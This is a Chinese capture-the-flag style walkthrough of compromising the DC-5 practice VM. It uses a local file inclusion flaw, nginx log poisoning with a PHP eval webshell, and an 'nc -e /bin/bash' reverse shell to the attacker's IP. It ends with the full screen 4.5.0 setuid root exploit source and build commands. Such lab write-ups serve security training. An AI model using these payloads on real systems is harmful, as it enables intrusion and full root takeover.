DC-5入门练习

DC-5靶机渗透

1. 信息收集

1.查看dc-5主机mac地址
DC-5入门练习_第1张图片
注意:这里最好把dc5虚拟机做一个克隆,后面需要恢复快照.
2. nmap扫描

nmap -sP 192.168.1.0/24  -oN nmap.sP
nmap -A 192.168.1.6 -p 0-6635 -oN nmap.A

发现目标靶机地址为192.168.1.6
DC-5入门练习_第2张图片
查看目标主机开放那些端口
DC-5入门练习_第3张图片
由于开发80我们登录随便看一看
这些网站页面都放在根目录下,我们可以用御剑扫描后台,发现最后一个页面这里可以提交表单,参数(都显示在url里)
DC-5入门练习_第4张图片

DC-5入门练习_第5张图片
发现每次刷新网页下面都会变化
DC-5入门练习_第6张图片

2.御剑扫描
DC-5入门练习_第7张图片
打开这个网页进行查看

DC-5入门练习_第8张图片
刷新查看变成2017

DC-5入门练习_第9张图片
思考:之前thankyou那个页面每次刷新也都变化,说明thankyou那个网页包含footer.php说明存在文件包含但是不知道是不是存在动态包含漏洞
3.检测是否存在文件包含漏洞
我们用bp抓包,爆破可能存在动态包含的变量名
DC-5入门练习_第10张图片
发现爆破结果都一样
DC-5入门练习_第11张图片
这里我们改变一下动态包含的文件为/etc/passwd再次爆破
发现存在动态包含,而且变量名为file
我们可以利用文件包含漏洞去包含任意文件无视文件扩展名,,如果文件中有php代码,无条件执行
DC-5入门练习_第12张图片
注意:这里主要是想给大家提供一种思路,变量字典自己手工弄的,没有强大的字典

上传木马

这里我们想到上传一个木马,但是无法上传,
思考:这里是否可以利用文件包含漏洞上传到本地文件
可以通过在系统日志中写入代码,在通过文件文件包含系统日志文件去执行日志中的相关php 代码

这里是nginx服务器,日志在:

/var/log/nginx/access.log

1.然后抓包写入一句话木马
注 :在写入快照前最好恢复快照因为经过爆破日志很多,连接蚁剑时不稳定。
DC-5入门练习_第13张图片

一句话木马:

 @eval($_REQUEST[666])?>

查看写入木马:
DC-5入门练习_第14张图片
2.蚁剑连接
DC-5入门练习_第15张图片
3.新建木马
注:为啥新建木马文件,因为我们当前的一句话在日志文件下,日志文件变化快对操作有影响,可能出现连接不稳定无法连接的时候,所以要进行重新连接。(和还原快照一样)

DC-5入门练习_第16张图片
新建404.html一句话木马

DC-5入门练习_第17张图片
重新蚁剑连接:
DC-5入门练习_第18张图片
进入终端
查看当前用户,以及根下root文件,无权,下一步反弹shell提权
DC-5入门练习_第19张图片

反弹shell

nc -e /bin/bash 192.168.1.16 1234

DC-5入门练习_第20张图片

nc -lvvp 1234                                     //监听

python -c 'import pty;pty.spawn("/bin/bash")'   //进入交互模式

DC-5入门练习_第21张图片

提权

1.查看哪些命令具有root权限且没有密码

sudo -l
**```
2.有没有一些具有suid权限的命令**
发现有一个screen-4.5.0具有root权限,下一步查找这个软件是否有漏洞

```bash
find / -perm -4000 2>/dev/null

DC-5入门练习_第22张图片
3.查找漏洞
找到41154.sh后,把个脚本拷贝到当前目录下
DC-5入门练习_第23张图片
kali下开启http服务

python -m SimpleHTTPServer

DC-5入门练习_第24张图片
打开终端下载脚本
DC-5入门练习_第25张图片
给41154.sh执行权限,并运行

DC-5入门练习_第26张图片
发现运行错误,我们查看脚本,我们尝试本地编译其内的两个c语言程序
4将该脚本拆分成3部分
具体内容如下:
1)编译libhac.c

#include 
 
#include 
 
#include 
 
__attribute__ ((__constructor__))
 
void dropshell(void){
 
    chown("/tmp/rootshell", 0, 0);
 
    chmod("/tmp/rootshell", 04755);
 
    unlink("/etc/ld.so.preload");
 
    printf("[+] done!\n");
 
}

编译生成libhax.so

gcc -fPIC -shared -ldl -o libhax.so libhax.c

 

2)编译rootshell.c

#include 
 
int main(void){
 
    setuid(0);
 
    setgid(0);
 
    seteuid(0);
 
    setegid(0);
 
    execvp("/bin/sh", NULL, NULL);
 
}

编译生成shellroot

gcc -o rootshell rootshell.c

3)编译run.sh

#!/bin/bash
# screenroot.sh
 
# setuid screen v4.5.0 local root exploit
 
# abuses ld.so.preload overwriting to get root.
 
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
 
# HACK THE PLANET
 
# ~ infodox (25/1/2017)
 
echo "[+] Now we create our /etc/ld.so.preload file..."
 
cd /etc
 
umask 000 # because
 
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
 
echo "[+] Triggering..."
 
screen -ls # screen itself is setuid, so...
 
/tmp/rootshell

kali开启http服务

python -m SimpleHTTPServer

5.靶机/tmp 目录下远程下载

wget http://192.168.1.12:8000/rootshell

wget http://192.168.1.12:8000/libhax.so

wget http://192.168.1.12:8000/run.sh

DC-5入门练习_第27张图片
然后给下载的文件执行权限:

chmod 777 libhax.so
chmod 777 rootshell
chmod 777 run.sh

6.最后在tmp目录下运行run.sh
DC-5入门练习_第28张图片

DC靶机系列入门详解,关注查看下一篇

你可能感兴趣的:(DC,DC-5靶机渗透)